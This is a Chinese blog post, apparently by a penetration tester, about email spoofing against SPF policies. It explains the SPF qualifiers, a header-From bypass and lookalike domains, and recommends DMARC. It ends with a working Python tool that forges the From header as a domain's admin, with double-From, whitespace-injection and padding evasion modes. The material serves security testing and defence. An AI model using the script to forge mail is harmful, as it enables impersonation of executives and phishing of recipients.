有关SPF邮件信息伪造的内容
有关SPF邮件信息伪造的内容
为什么我能假冒你们 CEO 发邮件?(即便你以此为豪配置了 SPF)
很简单的一件事,就是客户的域名配置了SPF,但是给的是软策略,基本上邮件都能通过,今天被监管通报了。

大概差不多就是这样吧,图是我后面补的。
关于邮件这一块我也了解得不深,基本不会遇到这种有效的漏洞,这次恰好测试就干脆记录一下。
有关SPF的查询,可以到这里进行:https://www.site24x7.cn/zhcn/tools/spf-validator.html
状态会有4种,大概解释一下。
这四个符号(-, ~, ?, +)被称为 SPF 限定符 (Qualifiers),它们决定了“当发信 IP 不在允许列表中时,接收方该怎么处理”。
我们可以把邮件服务器比作小区的保安,IP 地址就是访客的身份证。
SPF的四种状态码
1. Hard Fail
-all
- 含义:硬拒绝。只有列表里的 IP 能发,其他的全是伪造,直接拒收。
- 保安视角:“我手里有一份白名单。只有名单上的人能进。所有不在名单上的人,直接拿棍子打出去!连门都不让进。”
- 后果:邮件直接被 SMTP 层级拒绝(550 Error),发件人会收到退信。
- 举例:
- 配置:
v=spf1 ip4:1.1.1.1 -all
- **攻击**:黑客用 IP2.2.2.2
伪造邮件。
- **结果**:QQ/Gmail 服务器说:“你不是 1.1.1.1,并且策略是 -all,**滚**。”2. Soft Fail
~all
- 含义:软拒绝。不在列表里的 IP 也能发,但会被标记为“可疑”或垃圾邮件。
- 保安视角:“我手里有白名单。不在名单上的人...我想拦,但我老板(管理员)怕拦错了客户。行吧,你进去吧,但我在你背上贴个条子:‘此人可疑’ 。”
- 后果:邮件会被接收,但极大概率进入垃圾箱,或者显示红色警告。
- 举例:
- 配置:
v=spf1 ip4:1.1.1.1 ~all
- **攻击**:黑客用 IP2.2.2.2
伪造邮件。
- **结果**:能够发送成功,但受害者的收件箱里会显示“此邮件可能不是由 info@domain.com 发送的”,或者直接躺在垃圾箱里。这是目前互联网最常见的配置(为了防止误杀)。3. Neutral
?all
- 含义:中立。不做任何声明。不管 IP 在不在列表里,我都“不置可否”。
- 保安视角:“我手里没有名单,或者说我懒得管。你是谁?我不知道。能不能进?你自己问屋里人去。 ”
- 后果:SPF 检查结果是 Neutral,邮件通常会被放行进入收件箱(除非内容本身太像垃圾邮件)。这等于配置了个寂寞。
- 举例:
- 配置:
v=spf1 ip4:1.1.1.1 ?all
- **攻击**:黑客用 IP2.2.2.2
伪造邮件。
- **结果**:大摇大摆进入收件箱,不做任何拦截。4. Allow All
+all
- 含义:全通过。任何 IP 都是合法的发件人。
- 保安视角:“大门敞开!谁都可以进! 面具人、强盗、骗子,统统欢迎!”
- 后果:任何黑客都可以完美伪造你的域名,且 SPF 检查结果是 PASS。
- 举例:
- 配置:
v=spf1 +all
(极少见,除非是测试或者蜜罐)
- **攻击**:黑客用 IP2.2.2.2
伪造邮件。
- **结果**:邮件不仅进了收件箱,而且系统还告诉用户“这封邮件是通过 SPF 安全验证的哦”。**这是极度危险的配置错误。**
| 符号 | 模式 | 伪造难度 | 后果 | 推荐度 |
|---|---|---|---|---|
| -all | Hard Fail | ⭐⭐⭐⭐⭐ (极高) | 直接拒收 | 推荐 (只要确保 IP 没漏填) |
| ~all | Soft Fail | ⭐⭐⭐ (一般) | 进垃圾箱 | 过渡期推荐 |
| ?all | Neutral | ⭐ (极低) | 进收件箱 | 不推荐 |
| +all | Pass | ☠️ (无) | SPF Pass | 绝对禁止 |
很遗憾的就是客户设置的就是 ~all 导致邮箱伪造发信人通过。
后来测试已经-all。

另外一种绕过可能:
我们域名早在八百年前就配了 SPF v=spf1 ... -all,硬拒绝策略!稳得很。
真的如此吗?
虽然 -all 防御了直接的 SPF 欺骗,但作为安全工程师,你必须知道单纯的 SPF -all 依然存在被绕过的可能,这就是为什么还需要 DMARC。
绕过场景(Header From 欺骗): 如果攻击者稍微聪明一点,使用以下配置发送邮件:
- Envelope From (信封发件人/Return-Path) :
attacker@evil-domain.com(攻击者自己的域名,且攻击者IP在evil-domain.com的 SPF 允许列表中 —— SPF 检查通过) - Header From (邮件头显示的发件人) :
admin@baidu.com(你的域名)
结果:
- 邮件接收方检查
Envelope From的 SPF,结果是 PASS(因为查的是攻击者的域名)。 - 用户在客户端里看到的却是
admin@baidu.com。 - 结论:如果没有配置 DMARC 来强制要求“Header From”和“Envelope From”保持一致,SPF
-all也无法防御这种“挂羊头卖狗肉”的欺骗。
在邮件协议这个古老的世界里,有时候“看大门的”和“前台接待”根本不是一伙人。
其实这也是很常见的一种邮件代发策略,简单扒一扒这个让绕过思路。
1. 邮件协议的“精神分裂”
要理解这个漏洞,你得先知道一个冷知识:SMTP 协议是 40 多年前设计的。那个年代的互联网全是君子,大家互相信任,压根没考虑过有人会撒谎。
所以,SMTP 在设计上把“信封”和“信纸”完全分开了。
- 信封上的发件人 (Envelope Sender) :这是给邮局(邮件服务器)看的,用来决定退信退给谁。
- 技术黑话叫
MAIL FROM。
- 技术黑话叫
- 信纸上的落款 (Header From) :这是给收信人(你我)看的,显示在 outlook 或手机屏幕上。
- 技术黑话叫
From。
- 技术黑话叫
漏洞就在这儿: 现有的 SPF 检查,就像是一个看大门的保安。他非常尽职,但他只检查信封。 只要快递员(发送方服务器)拿的信封是合法的(比如我用网易账号发信,信封写的是网易,网易服务器当然认可),保安就放行了:“进去吧,没毛病。”
至于信封里面的信纸上,落款写的是“马化腾”还是“丁磊”,保安压根不看。
这就是为什么我能绕过你的 SPF:
- 我的信封:用我的网易账号 (
XXXX@163.com) —— SPF 检查通过! (因为我确实拥有这个账号) - 我的信纸:写上你们公司 CEO 的名字 (
admin@baidu.com) —— 用户被骗!
这就叫“挂羊头卖狗肉”。
2. 红队视角:花式绕过姿势
其实,只要你没上 DMARC,你在红队眼里基本就是裸奔。除了上面这种最经典的“信头欺骗”,我们还有很多好玩的手段。
姿势一:“我帮朋友代发”
当你用 Outlook 或者手机收邮件时,有时候会看到一行灰色小字:“由 xxx 代发”。 这是邮件客户端良心发现,看到了信封和信纸不一致,特意提醒你。

这种提醒也可以通过注册相近域名自建SMTP解决。
姿势二:视觉欺骗
如果你的防御真的滴水不漏(上了 DMARC p=reject),那我就不攻击你的域名了, 我去注册一个 baidu.com.cn(把中间的 i 换成 l)。 在手机那么小的屏幕上,加上紧张的工作节奏,有几个人能一眼看出来? 这种域名我自己注册的,SPF、DMARC 全套我都配齐,正规得不能再正规了,当然这是后话了。
3. 怎么修?
别再迷信 SPF -all 了,他不完全起作用。
要想真正关上这扇门,你得凑齐邮件安全套:
- DKIM (防篡改) : 这就好比给信封加了个封泥。发信时服务器用私钥盖个章,收信时验证一下。这样别人就不能在中途偷偷改你的邮件内容了。
- DMARC (终极BOSS) : 这才是解决“信封信纸不一致”的唯一解药。 DMARC 就像是给保安下了一道死命令: “必须拆开信封检查!如果信纸上的落款跟信封对不上,直接把信给我撕了!”
- 建议配置:
v=DMARC1; p=reject; aspf=s; adkim=s; - 注意:别上来就 Reject,不然你们公司的市场部发不出去邮件会来砍你。先开
p=none观察几天,再慢慢收紧。
- 建议配置:
4. 总结一句
邮件安全其实不难,难的是很多人还在用几十年前的老眼光看问题。 信任是脆弱的。 在这个零信任的时代,永远不要相信“发件人”那一行字,除非 DMARC 告诉你:它是真的。
提供一个我写的测试脚本:
import dns.resolver
import smtplib
import argparse
import sys
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formatdate, formataddr
from email.header import Header
def check_spf(domain):
"""
检查目标域名的 SPF 记录
"""
print(f"[*] 正在检查域名: {domain}")
try:
answers = dns.resolver.resolve(domain, 'TXT')
spf_record = None
for rdata in answers:
txt_string = rdata.to_text().strip('"')
if 'v=spf1' in txt_string:
spf_record = txt_string
break
if spf_record:
print(f"[+] 发现 SPF 记录: {spf_record}")
return spf_record
else:
print("[-] 未发现 SPF 记录。域名可能容易受到欺骗攻击。")
return None
except Exception as e:
print(f"[-] DNS 查询失败 (可能无记录): {e}")
return None
def analyze_spf(spf_record):
"""
分析 SPF 记录的安全性
"""
print("\n--- SPF 策略分析 ---")
if not spf_record:
print("[-] 未发现 SPF 记录: 极其危险!任何人都可以伪造该域名的邮件。")
return True # 无记录,易受攻击
if "-all" in spf_record:
print("[*] 策略模式: Hard Fail (-all)")
print(" 解释: 硬拒绝。明确告知收件方‘不在白名单的 IP 统统拒绝’。")
print(" 伪造难度: ⭐⭐⭐⭐⭐ (极高)")
print(" 注意: 除非你有 DMARC 绕过漏洞 (Header From 欺骗),否则直接伪造 IP 会失败。")
return False
elif "~all" in spf_record:
print("[!] 策略模式: Soft Fail (~all)")
print(" 解释: 软拒绝。不在白名单的 IP 也可以发,但会被标记为‘可疑’或垃圾邮件。")
print(" 伪造难度: ⭐⭐⭐ (一般)")
print(" 注意: 邮件能发出去,但大概率进垃圾箱。")
return True
elif "?all" in spf_record:
print("[!] 策略模式: Neutral (?all)")
print(" 解释: 中立。不置可否,通常会被接收方放行进入收件箱。")
print(" 伪造难度: ⭐ (低)")
return True
elif "+all" in spf_record:
print("[!!!] 策略模式: Allow All (+all)")
print(" 解释: 允许所有。大门敞开,任何人都可以合法伪造。")
print(" 伪造难度: ☠️ (无)")
return True
else:
print("[?] 未检测到明确的 'all' 策略,默认安全策略未知,可能允许。")
return True
def send_fake_email(sender_domain, sender_address, target_email, smtp_host, smtp_port, smtp_user, smtp_pass, use_ssl, obfuscate=False, sender_name="System Admin", exploit_type='none'):
"""
发送邮件 function
"""
# 如果未指定具体的发件人地址,默认伪造 admin@domain
if not sender_address:
sender_address = f"admin@{sender_domain}"
subject = f"Work Report: {sender_domain}"
body = f"""
Hello,
This is a routine system notification.
Sender: {sender_address}
Server: {smtp_host}
Please confirm receipt.
Best regards,
{sender_name}
"""
msg = MIMEMultipart()
# --- 构造 From 头 (核心攻击逻辑) ---
fake_from = formataddr((Header(sender_name, 'utf-8').encode(), sender_address))
# 真实发件人 (用于欺骗过滤器) - 如果有认证用户,通常是认证用户
real_user = smtp_user if smtp_user else sender_address
real_from = formataddr((Header("Legit Sender", 'utf-8').encode(), real_user))
if exploit_type == 'double-from':
print("[!] 正在使用 USENIX'21 攻击: Double From Headers (双重头)")
# 插入两个 From 头
# 许多邮件系统在处理重复头时存在差异:有的看第一个,有的看最后一个。
# 策略:第一个放伪造的(给用户看),第二个放真实的(给 SPF/DMARC 看)
msg.add_header('From', fake_from)
msg.add_header('From', real_from)
elif exploit_type == 'space-injection':
print("[!] 正在使用 USENIX'21 攻击: Whitespace Injection (空格注入)")
# 在邮箱地址尾部注入空格 "admin@baidu.com "
# 某些解析器会包含空格导致正则匹配失败(从而绕过黑名单),但底层投递时又去掉空格。
malformed_address = f"{sender_address} " # 注意这里的空格
# 需要手动构造,因为 formataddr 可能会自动修正
msg['From'] = f"{Header(sender_name, 'utf-8').encode()} <{malformed_address}>"
elif obfuscate:
# 腾讯云文章思路: From 字段名截断绕过
print("[!] 正在应用 Header 混淆 (Padding)...")
padding = " " * 500
display_name = f"{sender_name} from {sender_domain}" + padding
msg['From'] = formataddr((display_name, sender_address))
else:
# 默认模式
encoded_name = Header(sender_name, 'utf-8').encode()
msg['From'] = formataddr((encoded_name, sender_address))
msg['To'] = target_email
msg['Subject'] = subject
msg['Date'] = formatdate(localtime=True)
msg.attach(MIMEText(body, 'plain'))
print("\n" + "="*40)
print(f"[*] 准备发送邮件...")
print(f" SMTP 服务器: {smtp_host}:{smtp_port} (SSL: {use_ssl})")
print(f" 认证用户: {smtp_user if smtp_user else '无 (匿名)'}")
print(f" 伪造发件人 (From): {sender_address}")
print(f" 目标收件人 (To): {target_email}")
print("="*40)
try:
server = None
if use_ssl:
server = smtplib.SMTP_SSL(smtp_host, smtp_port, timeout=10)
else:
server = smtplib.SMTP(smtp_host, smtp_port, timeout=10)
# 尝试 StartTLS
try:
server.starttls()
except:
pass
# 登录 (如果提供了密码)
if smtp_user and smtp_pass:
print("[*] 正在登录 SMTP 服务器...")
server.login(smtp_user, smtp_pass)
print("[+] 登录成功")
# 发送
# 注意: 真实的信封发件人 (MAIL FROM) 通常由 SMTP 服务器根据登录账号强制指定 (如 QQ 设置为登录邮箱)
# 但我们可以在 DATA 内容中修改 'From' 头来尝试欺骗客户端显示
# 为了测试“通过被盗用的/合法的SMTP服务器发送伪造邮件”,
# 通常 SMTP 服务器会强制 MAIL FROM 为登录用户,但可能允许 Header From 不同。
envelope_sender = smtp_user if smtp_user else sender_address
server.sendmail(envelope_sender, target_email, msg.as_string())
server.quit()
print("[+] 邮件发送成功!请检查收件箱 (包括垃圾箱)。")
except smtplib.SMTPAuthenticationError:
print("[-] 认证失败:用户名或授权码错误。对于 QQ 邮箱,请确保使用的是授权码而不是 QQ 密码。")
except Exception as e:
print(f"[-] 发送失败: {str(e)}")
def main():
parser = argparse.ArgumentParser(description="SPF 伪造测试工具 (支持 SMTP 认证)")
parser.add_argument("domain", help="要测试的目标域名 (例如 company.com)")
parser.add_argument("--to", help="接收测试邮件的邮箱地址")
parser.add_argument("--sender", help="伪造的发件人地址 (可选,默认 admin@domain)")
# SMTP 配置
parser.add_argument("--smtp-host", default="127.0.0.1", help="SMTP 服务器地址 (默认 127.0.0.1)")
parser.add_argument("--smtp-port", type=int, default=25, help="SMTP 端口 (QQ SSL 用 465)")
parser.add_argument("--user", help="SMTP 认证用户名 (例如 your_qq@qq.com)")
parser.add_argument("--password", help="SMTP 认证密码/授权码")
parser.add_argument("--ssl", action="store_true", help="使用 SSL 连接 (QQ 邮箱必须开启)")
parser.add_argument("--obfuscate", action="store_true", help="[进阶] 使用超长字符填充 From 头 (尝试绕过客户端显示)")
parser.add_argument("--name", default="System Admin", help="伪造的发件人显示名称 (例如 'IT 安全中心')")
parser.add_argument("--exploit-type", choices=['none', 'double-from', 'space-injection'], default='none', help="[核弹级] USENIX'21 论文攻击模式: double-from (双头欺骗), space-injection (空格注入)")
args = parser.parse_args()
# 自动处理用户可能输入的邮箱地址 (如 test@domain.com -> domain.com)
if "@" in args.domain:
print(f"[!] 检测到输入了邮箱地址 {args.domain},自动截取域名部分...")
args.domain = args.domain.split("@")[-1]
# 步骤 1: 检查 SPF
record = check_spf(args.domain)
is_vulnerable = analyze_spf(record)
# 步骤 2: 发送测试 (如果提供了接收者)
if args.to:
if not is_vulnerable:
print("\n" + "!"*50)
print("[警告] 该域名 SPF 配置非常严格 (-all)。")
print(" 直接的 IP 伪造大概率会失败 (550 Error) 或被拦截。")
print(" 除非你正在测试 'DMARC 绕过/信头欺骗' (使用真实账号发信),否则请做好失败准备。")
print("!"*50 + "\n")
send_fake_email(
sender_domain=args.domain,
sender_address=args.sender,
target_email=args.to,
smtp_host=args.smtp_host,
smtp_port=args.smtp_port,
smtp_user=args.user,
smtp_pass=args.password,
use_ssl=args.ssl,
obfuscate=args.obfuscate,
sender_name=args.name,
exploit_type=args.exploit_type
)
else:
print("\n[*] 未提供 --to 参数,仅进行 SPF 检查。如需发送测试,请添加该参数。")
if __name__ == "__main__":
main()